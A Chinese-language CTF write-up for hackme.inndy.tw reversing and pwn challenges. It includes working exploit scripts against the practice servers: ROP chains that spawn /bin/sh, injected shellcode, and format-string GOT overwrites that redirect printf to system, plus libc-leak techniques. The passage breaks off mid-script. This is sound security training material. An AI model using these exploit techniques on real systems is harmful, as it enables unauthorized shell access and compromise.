執行時它會問你 flag 是什麼,然後判斷 flag 是否正確。不過我在測試的時候發現了一個神奇的事,就是如果我輸入 abcde,那程式會告訴你 flag 是錯的並且退出,**然後下一行則出現了 bcde 的 command 執行結果(command not found)。用 strace 檢查一下會發現它是用 read 函數來讀的一次只讀一個字元,只要錯誤就會直接退出,所以剩下的東西還留著,就自然變成 shell 的指令了。經過測試也發現說如果輸入 FLAG{asd,它就會在退出並且出現 sd 的指令結果(command not found)。

既然是如此,我們只要輸入 flag 的 prefix,然後判斷程式有沒有退出就能知道這個 prefix 是不是對的了,然後再一個一個字母爆破就好了,輕鬆簡單。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const cp = require('child_process')

function isFlagPrefix(prefix) {
const p = cp.spawn('./esrever-mv')
p.stdin.write(prefix)
const exit = new Promise(cb => p.on('exit', () => cb(false))) // it is wrong, so program will halt
const timeout = new Promise(cb => setImmediate(() => cb(true))) // if correct, it will just wait for input
return Promise.race([exit, timeout]).then(result => {
p.stdin.end() // so that process will stop
return result
})
}

;(async () => {
const chs = [...'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}']
let flag = ''
for (;;) {
const ps = chs.map(c => flag + c).map(isFlagPrefix)
const results = await Promise.all(ps)
flag += chs[results.indexOf(true)]
if (/^FLAG{.*?}$/.test(flag)) {
console.log(flag)
break
}
}
})()

話說這題用 IDA 打開後我不知道怎麼處裡...

termvis

這題真的很難,花了我不少時間才解出來...

先執行一下會發現說他能在 terminal 中 print 出 png 圖片來,不過用他給的圖片測試會發現除了顯示以外它還能 print 額外的訊息,還能要求你輸入東西進去。所以合理推測那些圖片裡應該有藏小程式在裡面,然後 termvis 的本體則是有藏個簡單的 interpreter 來執行它的程式。

丟進 IDA 之後會看到 main 的最下面有兩個函數,一個應該是用來關 file 的,另一個點進去之後則會發現說它是個奇怪的函數,有個迴圈會從傳入的指標中讀 byte,然後把那個 byte & 7,然後它的結果會根據是 0~7 的不同做出不同行為,例如移動某個指標、增加該指標所指的值、和讀取或輸出一個 char 等等的東西。

這個實際上對應到的是 Brainfuck,一個很小的 Turing Complete 語言,所以這樣一切就說了通了,它就是想辦法在圖片中的一個小區塊藏 Brainfuck 的 code,然後用那個函數來執行,所以想找 flag 的話就是想辦法把 checkflag.png 裡面的那個 code 找出來。

我用的方法是用 IDA 的 debugger 在函數的入口下斷點,然後因為參數是從 rdi 傳進的,就去 rdi 的值的那個記憶體位置看,就會看到有一連串的資料了,而第一個 byte 是 F8。然後再來就慢慢用滑鼠把資料複製下來,還蠻多的,反正多複製的話就之後再清掉。

接下來自己寫個腳本把那些東西一個一個 & 7 再轉換成 brainfuck 就好了,而轉換表如下(可以根據反編譯的程式碼獲得):

1
2
3
4
5
6
7
8
0: >
1: <
2: +
3: -
4: .
5: ,
6: [
7: ]

轉換完之後可以線上找 intepreter 去確定 syntax 有沒有 error,有的話就從後面開始刪,刪到沒問題為止,所以我就得到了下面的 code:

1
>+++++++[<++++++++++>-]<.[-]>++++++++++[<++++++++++>-]<++++++++.[-]>+++++++++[<++++++++++>-]<+++++++.[-]>++++++++++[<++++++++++>-]<+++.[-]>++++++[<++++++++++>-]<+++.[-]>,>>+++++++[<++++++++++>-]<<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++[<++++++++++>-]<++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++[<++++++++++>-]<+<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++++[<++++++++++>-]<+++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++[<++++++++++>-]<++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++[<++++++++++>-]<+++++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++[<++++++++++>-]<<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++[<++++++++++>-]<++++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++[<++++++++++>-]<+<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++++[<++++++++++>-]<+<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<+<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++[<++++++++++>-]<++++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++[<++++++++++>-]<+++++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++++++++++[<++++++++++>-]<<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>+++[<++++++++++>-]<+++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<,>>++++++++++++[<++++++++++>-]<+++++<[->-<]+>[<->[-]]<[>+<[-]]+>[<->-]+<[>>+<<<[-]>>>[<<<+>>>-]<-<[-]]>[-]<>++++++++[<++++++++++>-]<+++.[-]>+++++++++++[<++++++++++>-]<++++++.[-]>+++++++++[<++++++++++>-]<+++++++.[-]>+++++++++++[<++++++++++>-]<++++++.[-]>+++++++++++[<++++++++++>-]<+++++++.[-]>+++++++++++[<++++++++++>-]<+++++.[-]>+++++[<++++++++++>-]<++++++++.[-]>+++[<++++++++++>-]<++.[-]<[>+>+<<-]>>[<<+>>-]<[->-<]+>[<->[-]]+<[>>>+++++++[<++++++++++>-]<+.[-]>+++++++++++[<++++++++++>-]<+.[-]>+++++++++++[<++++++++++>-]<+.[-]>++++++++++[<++++++++++>-]<.[-]<-<[-]]>[>>++++++[<++++++++++>-]<++++++.[-]>+++++++++[<++++++++++>-]<+++++++.[-]>++++++++++[<++++++++++>-]<.[-]<-]<>+++[<++++++++++>-]<++.[-]>++++++++++[<++++++++++>-]<++.[-]>++++++++++[<++++++++++>-]<++++++++.[-]>+++++++++[<++++++++++>-]<+++++++.[-]>++++++++++[<++++++++++>-]<+++.[-]++++++++++.[-][][]+++

這坨不知道要怎麼去分析,不過使用原本的程式去執行 checkflag.png 我們知道說它會讀取輸入,然後根據你的輸入判斷的 flag 是不是對的。然後也能經過測試發現說它會讀取 44 個字元後才會輸出結果,或是也能直接數 , 得到 44 這個數字。這代表我們沒辦法用暴力破解的方法去算,只能想辦法分析這個程式了。

要分析 Brainfuck 說實在的也根本不知道怎麼下手,不過實際上它可以很簡單的對應到 C 的程式,所以可以寫個腳本去轉換它:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
code = '...' # brainfuck 程式

with open('bf.c', 'w') as f: # 輸出到 bf.c
def w(x): return f.write(x + '\n')
w("#include <stdio.h>")
w("char d[100]={};")
w("int main(){")
ptr = 0
for c in code:
if c == '.':
w(f'putchar(d[{ptr}]);')
elif c == ',':
w(f'd[{ptr}]=getchar();')
elif c == '<':
ptr -= 1
elif c == '>':
ptr += 1
elif c == '+':
w(f'd[{ptr}] += 1;')
elif c == '-':
w(f'd[{ptr}] -= 1;')
elif c == '[':
w(f'while (d[{ptr}]) {{')
elif c == ']':
w('}')
w("return 0;")
w("}")

首先先簡單看一下會發現它最高只用到 d[4] 的空間,代表它在比較的時候大概是讀進一個字元就比較一次,沒有額外的去儲存,所以可以搜尋 getchar 的地方去研究它的程式。

在第一個 getchar 的地方會看到它先把 d[2] 初始化到某個值,然後計算 d[2]-=d[1] (d[1] 是我們輸入的 char),然後後面再根據 d[2] 的值跑迴圈。從這邊其實就能猜到 d[2] 搞不好是 flag 的字元,所以可以在適當的地方插入個 putchar 看看,然後測試幾次之後也發現真的是 flag 的字元。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
d[1] = getchar();
// 初始化 d[3]
while(d[3]){ // 初始化 d[2] 的迴圈
// 加東西到 d[2] 上面
d[3] -= 1;
}
putchar(d[2]); // 自己加的,原先並沒有
while (d[1]) { // d[2]-=d[1]
d[1] -= 1;
d[2] -= 1;
}
d[1] += 1;
while (d[2]){
// 做一些事
}

所以只要改一下原先的轉換程式碼讓它自動在適當的地方插入 putchar(d[2]); 就應該能輸出 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
ptr = 0
last_loop_ptr = -1
just_called_getchar = False
for c in code:
if c == '.':
w(f'putchar(d[{ptr}]);')
elif c == ',':
w(f'd[{ptr}]=getchar();')
just_called_getchar = True
elif c == '<':
ptr -= 1
elif c == '>':
ptr += 1
elif c == '+':
w(f'd[{ptr}] += 1;')
elif c == '-':
w(f'd[{ptr}] -= 1;')
elif c == '[':
if ptr == 1 and last_loop_ptr == 3 and just_called_getchar:
w("putchar(d[2]); // print result")
just_called_getchar = False
w(f'while (d[{ptr}]) {{')
last_loop_ptr = ptr
elif c == ']':
w('}')
w("return 0;")
w("}")

轉換後把它編譯好,然後輸入 44 個任意字元後 flag 就會自己出現了。

rc87cipher

這題首先經過觀察可以發現 binary 是 UPX 加殼過的,但是因為有被動過所以 upx -d 不能用。我用的是 [原创]ELF64手脱UPX壳实战 裡面的方法把殼成功脫掉的。

脫殼完成後放進 IDA,雖然什麼 symbol 都沒有,但是透過慢慢讀、重命名、觀察它的行為之後還是有辦法讀懂它在做什麼。它首先會從 /dev/urandom 中讀 8 個 bytes 作為 IV,而 IV 再經過固定的算法生成 SBOX。加密的部分是透過 key 和 SBOX 經過一些奇怪的運算之後出來的,不過輸出檔案的前 8 個 bytes 是 IV,後面的才是真正的 ciphertext。

之後可以利用它給的 rc87rc87.enc 試著去一個一個 byte 爆破 key,稍微測試一下可以發現到它的 key 其實就是 flag,所以可以用 dfs 剪枝爆搜找出 key,用 pypy 只要大概 3 秒鐘即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
def gen_sbox(iv):
assert len(iv) == 8
sbox = [i for i in range(256)]
for v0 in range(8):
v1 = iv[v0]
v2 = v0
for _ in range(36):
v2 = (13 * (v2 ^ 0xFF)) & 0xFF
v1 = (17 * (v1 ^ 0xFF)) & 0xFF
sbox[v1], sbox[v2] = sbox[v2], sbox[v1]
return sbox


def encrypt(pt, key, sbox):
sbox = list(sbox)
out = []
v4 = 0
for v13 in pt:
v6 = key[v4]
v7 = v4
for _ in range(36):
v7 = (13 * (v7 ^ 0xFF)) & 0xFF
v6 = (17 * (v6 ^ 0xFF)) & 0xFF
sbox[v6], sbox[v7] = sbox[v7], sbox[v6]
v4 += 1
v9 = 0xDEADBEEF
if v4 >= len(key):
v4 = 0
for i in range(256):
v9 = ((821091 * sbox[i]) ^ (23159 * v9)) & 0xFFFFFFFF
v14 = ((17 * v13) ^ v9) & 0xFF
out.append(v14)
return bytes(out)


with open("rc87.enc", "rb") as f:
iv = f.read(8)
sbox = gen_sbox(iv)
ct = f.read()

with open("rc87", "rb") as f:
data = f.read()


KEY_LENGTH = 40


def bruteforce():
def dfs(key):
if len(key) == KEY_LENGTH:
if encrypt(data, key, sbox) == ct:
return key
return
l = len(key) + 1
for i in range(32, 128):
kk = key + bytes([i])
if encrypt(data[:l], kk, sbox) == ct[:l]:
r = dfs(kk)
if r:
return r

return dfs(b"FLAG")

# Use pypy3
print(bruteforce())

Pwn

catflag

按照上面的指示 nc 過去,然後執行指令 cat flag 就好了,非常簡單。

homework

可以看它的 Source Code,發現到它有個函數會呼叫 shell,然後改 Array 的 Input 也完全沒有檢查,所以目標就是把 return address 改到那個函數去就好了。

用一些工具如 Ghidra 或是 IDA 能很容易的看到 arr 的記憶體位置,例如 Ghidra 告訴我它在 Stack[-0x38],所以 return address 就在 arr+56/4=arr+14 的地方。再來是找到函數 call_me_maybe 的位置在 0x080485fb,所以改 arr[14]=134514171 就可以了。退出之後就會進到 shell,然後用 ls, cat 把 flag 弄出來就好了。

ROP

NX 是開啟的,然後題目名稱也很明顯的告訴你要怎麼解了,而這題的 ropchain 其實直接 ROPgadget --binary ./rop --ropchain 就能得到了,然後直接放到 ret 的地方就能簡單解決了。不過既然是練習的話還是練習自己寫寫看 rop 比較有意義。

先檢查一下程式裡面有沒有 shell 之類的東西存在,像是找找看有沒有 /bin/sh 的字串,然後很快就會發現沒有,所以只能自己湊。接下來檢查一下有沒有 int 0x80 的 gadgets 存在 (ROPgadget --binary ./rop2 --only 'int'),然後就發現有,所以可以透過 execve 的 syscall 來取得 shell。

關於 syscall 的表格我推薦這個: Linux System Call Table

之後透過反覆搜尋看看哪些 gadgets 存在之後就能自己寫個 ROP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context.arch = 'i386'
binsh = 0x80eaba0 # a random memory address by "objdump -s -j .data ./rop"
pop_dword_ptr_ecx = 0x804b5ba
pop_ecx = 0x80de769
pop_eax = 0x80b8016
pop_ebx_edx = 0x806ecd9
int_80 = 0x806c943 # trigger syscall
rop = flat([pop_ecx, binsh, pop_dword_ptr_ecx, b'/bin', pop_ecx, binsh+4,
pop_dword_ptr_ecx, b'/sh\0', pop_eax, 11, pop_ebx_edx, binsh, 0, pop_ecx, 0, int_80])
payload = b'a'*(0xc+4)+rop
p = remote('hackme.inndy.tw', 7704) # process('./rop')
p.sendline(payload)
p.interactive()

ROP2

這題一樣是 ROP,會發現說它的讀取輸入和輸出的方法都和之前不一樣,是直接使用 syscall 函數去叫的,如 syscall(3, 0, buf, 1024) 等價於 read(0, buf, 1024) (參考 syscall table)。至於 syscall,可以作為 ROP 最後一步的目標,用那個函數去叫 execve 就好了。如果想和前面一題一樣使用 int 0x80 去 syscall 的話是做不到的,因為 ROPgadget --binary ./rop2 --only 'int' 找不到東西,所以要 syscall 就要利用原本就有的。

disassemble 一下 overflow() 就能看到那個函數的呼叫法,使用的是 stack 的傳參,對我們來說也輕鬆很多,所以目標就是建構出這樣的 stack(左側是 stack 頂端): syscall_addr 11 binsh_addr 0 0。然後 binsh 的地方就和上面那題一樣隨便找個位置用類似的方法寫入,然後最後 ret 到 syscall_addr 就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
binsh = 0x804a018
pop_eax_edx_ecx = 0x804843e
pop_dword_ptr_eax = 0x804844e
syscall = 0x804847c
rop = flat([pop_eax_edx_ecx, binsh, 0, 0, pop_dword_ptr_eax, b'/bin', pop_eax_edx_ecx,
binsh+4, 0, 0, pop_dword_ptr_eax, b'/sh\0', syscall, 11, binsh, 0, 0])
payload = b'a'*(0xc+4)+rop
p = remote('hackme.inndy.tw', 7703) # process('./rop2')
p.send(payload)
p.interactive()

toooomuch

用工具直接反編譯,看到它的 passcode 檢查是 code+0x3039==0xd903,所以輸入 43210 就能進入下一步的遊戲。那個遊戲就是很經典的猜數字,就簡單的手動二分搜就能過了,然後就能拿到 flag。

toooomuch-2

這題是上題的後續,在輸入 passcode 的地方會發現有 overflow 的問題,然後 checksec 檢查一下發現什麼保護都沒開,不過它沒有 system("/bin/sh") 的函數能讓你呼叫,所以自己用 shellcode 就好了。

首先先找到它的 buffer 大小,所以知道 ret 在 input 加上 0x18+4 的位置,然後因為它還有把 input 複製到 .bss 的某個地方,所以讓它 return 到那個位置再加上一些 offset 就好了,最後放上 shellcode 搞定。Payload: b'a'*(0x18+4)+p32(0x8049C60+0x18+8)+shellcode (0x8049C60 是複製到的那個位置)。

其實如果有 push esp; ret 的 gadget 的話應該也能直接讓它在 stack 上執行,不過我沒找到。

shellcode 的部份簡單的話可以用 asm(shellcode.sh()) 直接產生就好了,不過為了練習還是可以自己寫寫看。像是如果有發現到它還有個 print_flag() 函數裡面有呼叫 system("/bin/cat fake_flag") 的話可以直接改參數去呼叫 system,不用自己 syscall。

可能要注意的地方是 /bin/sh 的字串在 push 到 stack 的時候要反過來,因為是 little endian,所以會變成 0x68732f6e69622f,然後拆兩半變成 0x68732f0x6e69622f。只是我發現到說 0x68732f 在 assemble 之後會產生 0x00 的 byte,然後它的輸入函數是用 gets,所以會直接被截斷,所以可以考慮自己隨便補上兩個數字變成 0xff68732f,然後再用 shifting 的方法把它變成 0,或是參考 shellcode.sh() 的作法,使用 system("/bin///sh")

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
p = remote('hackme.inndy.tw', 7702) # process('./toooomuch')
payload = b'a'*(0x18+4)+p32(0x8049C60+0x18+8) + \
asm('mov eax, 0xff68732f\nshl eax, 8\nshr eax,8\npush eax\npush 0x6e69622f\npush esp\npush 0x8048649\nret')
# asm('push 0x68\npush 0x732f2f2f\npush 0x6e69622f\npush esp\npush 0x8048649\nret') works too
# asm('push 0x68732f\npush 0x6e69622f\npush esp\npush 0x8048649\nret') won't work as there are 0x00 byte in output
print(payload)
p.sendline(payload)
p.interactive()

echo

這題的是個 32 bit 的 binary,反編譯一看它就直接把使用者輸入的字串傳到 printf() 的第一個參數去,所以有 format string 的問題在。

關於這種漏洞能做什麼,要怎麼利用的問題建議先閱讀此文章,且要整篇讀完。

接下來觀察說它呼叫個 system 來輸出 Goodbye 的訊息,所以會想說能不能改它的字串,不過發現到那個字串在 .rodata 之後就可以放棄這個想法了。

再來是檢查看看 GOT & PLT,發現到 systemprintf 都在上面,所以可以把 printf 的 GOT 改到 system 的 PLT 上面,然後最後再自己輸入 /bin/sh 就能得到 shell 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = 'i386'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./echo')
p = remote('hackme.inndy.tw', 7711) # process('./echo')
printf_got = elf.got['printf']
system_plt = elf.plt['system']
payload = p32(printf_got)+bytes(r'%0'+str(system_plt-4)+'d%7$n end', 'ascii') # This is a little bit slow, but it works
# payload = fmtstr_payload(7, {printf_got: system_plt}) # Auto
p.sendline(payload)
p.recvuntil('end')
p.sendline('/bin/sh')
p.interactive()

Offset 的部份直接輸入 aaaa %p %p %p %p %p %p %p %p 就能看到是第幾個了。

echo2

這題是 64 bit,且 PIE 有開。檢查一下之後發現程式的部份和第一題差不多,所以也是用修改 GOT & PLT 的方法去搞定。不過因為有 PIE 的緣故,它們的位置並不是固定的,所以要先找到一個基準點才行。

像是我是在 stack 上找找看有沒有位置和 printf system 兩個函數接近的東西存在,然後就找到了 __libc_csu_init,所以就算出它的 offset 把它洩漏出來,然後減掉它在 binary 本身的位置作為基準點,然後加上兩個函數的值就能得到對應的 address 了,然後用和前一題一樣的方法把 address 蓋過去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./echo2')
p = remote('hackme.inndy.tw', 7712) # process('./echo2')
p.sendline(b'%42$p')
hx = p.recvline()[2:-1].decode('ascii')
__libc_csu_init = int(hx, 16)
base = __libc_csu_init-elf.sym['__libc_csu_init']
print('base', hex(base))
printf_got = base+elf.got['printf']
system_plt = base+elf.plt['system']
print('printf_got', hex(printf_got))
print('system_plt', hex(system_plt))
p.sendline(fmtstr_payload(6, {printf_got: system_plt}))
p.sendline('/bin/sh')
p.interactive()

echo3

這題回到了 32 bit,沒有 PIE。反編譯之後發現它會先利用 alloca() 在 stack 上取得隨機大小的空間,然後進入到有 format string exploit 的函數,只是會發現它的 buffer 位置不在 stack 上,而是在 .bss 上。這代表我們沒辦法再向之前一樣隨意的寫入任意記憶體位置了,但是還是能利用 stack 本來就有的 pointer(如果有的話),然後它的輸入次數是限制到 5 次的。

既然這題是前面的延伸,所以一樣是先檢查看 GOT & PLT,結果發現這次裡面沒有 system 存在,所以需要想辦法去取得 libc 上的 system 位置。要做到這件事需要先去 hackme 的網站上下載他們的 libc,然後看看是要用 VM, docker 還是 patchelf 去改都可以,確保在 remote 的時候有一樣的結果。

之後用 gdb debug 幾次之後會發現說它的 alloca() 大小雖然是隨機的,但是實際上是有一定的範圍的,所以可以用暴力用找到一個 libc 的 address 在 stack 很上面的世界縣。之後還會看到說 stack 上有些的值是指回到 stack 的某些位置的,所以能利用那些 pointer 去修改被指到的位置的值想修改的記憶體位置,接下來再利用修改完的指標去修改真實記憶體的值,所以修改一次需要兩次動作才能完成。

所以 leak 出來之後可以用一樣的方法算出 printfsystem 的位置,但是會發現 system 的 address 有點大,直接單純的改的話會讓它回傳過來的資料很大,也很花時間,所以只能把它切成各 2 byte 去修改了。只是會發現說前面 leak 用了 1 次,修改要花 2*2=4 次,那就沒辦法輸入 /bin/sh 了。這個實際上可以算出要改的值的差值,然後直接在第一次改的時候修改兩個 pointer,然後第二次就一次修改兩個的值,這樣一共只要 4 次,就不會超過範圍了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
# Need to use patchelf to patch libc.so.6 & interpreter, version is 2.23 (ubuntu)
elf = ELF('./echo3')
libc = ELF('./libc-2.23.so.i386')

p = None
system = None
while True:
p = remote('hackme.inndy.tw', 7720) # process('./echo3')
p.wait(0.2)
# __libc_start_main's offset is random due to alloca()
# search_payload = '.'.join([f'%{i}$p' for i in range(20, 50)]) were used to search for %39$p (It seems that 39 is the only possible one within 20~49)
search_payload = '%39$p'
p.sendline(search_payload)
addr = p.recvline()[:-1].split(b'.')
for addr in addrs:
if addr.endswith(b'637'):
# print(20+addrs.index(addr)) were used to search for %39$p
__libc_start_main = int(addr[2:].decode('ascii'), 16)-247
base = __libc_start_main-libc.symbols['__libc_start_main']
system = base+libc.symbols['system']
break
if system != None:
break
else:
p.close()

# offset 14 has a pointer points to offset 4 (discovered using gdb)
# offset 12 has a pointer points to offset 38 (discovered using gdb)
printf_got = elf.got['printf']
print('printf got', hex(printf_got))
print('system addr', hex(system))
system_high = system >> 16
system_low = system & 0xffff
print('system_high', hex(system_high))
print('system_low', hex(system_low))

# printf_got and printf_got + 2
p.sendline(f'%0{str(printf_got)}d%14$naa%12$n')
p.recvline()
print('addresses written')

# PS: system_high > system_low by observation
p.sendline(f'%0{str(system_low)}d%4$hn%0{str(system_high-system_low)}d%38$hn')
p.recvline()
print('done')

p.sendline('/bin/sh')
p.interactive()

smashthestack

這題看了一下程式非常簡單,就有個 flag 是從檔案讀進來的,存在 bss 區,然後有個 overflow 的地方能讓你直接塞任何東西出來,並且有開 canary。所以這題和前面不太一樣,不用拿到 shell,只要把那塊記憶體洩漏出來就好了。

Google 一下 stack smashing 加上它給的提示中的 stderr 應該就能知道目標做法了,方法是利用 canary 檢查失敗的那個函數 __stack_chk_fail 會在失敗時輸出 *** stack smashing detected ***: {argv[0]} terminated 的訊息,只要修改掉 argv[0] 的值就可以了。

建議先用 patchelf 把 libc 和 intepreter 換掉,版本 2.23-0ubuntu3_i386,用它提供的 libc 的 md5 找到的,要下載 glibc 推薦用 glibc-all-in-one 比較方便

不用的話可能會和我有一樣的狀況,就是 exploit 對我的 libc 沒用...

然後就寫個 debug 用的函數和 gdb 顯示的 stack 兩邊比較出來就能找到 argv[0] 的 offset 了,然後給它蓋過那個位置就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
# p = gdb.debug('./smash-the-stack', gdbscript='b *(main+186)\ngef config context.nb_lines_stack 70\nc')
p = remote('hackme.inndy.tw',7717)
p.recvuntil('the flag\n')

flagaddr = 0x804A060
def pretty_print_mem():
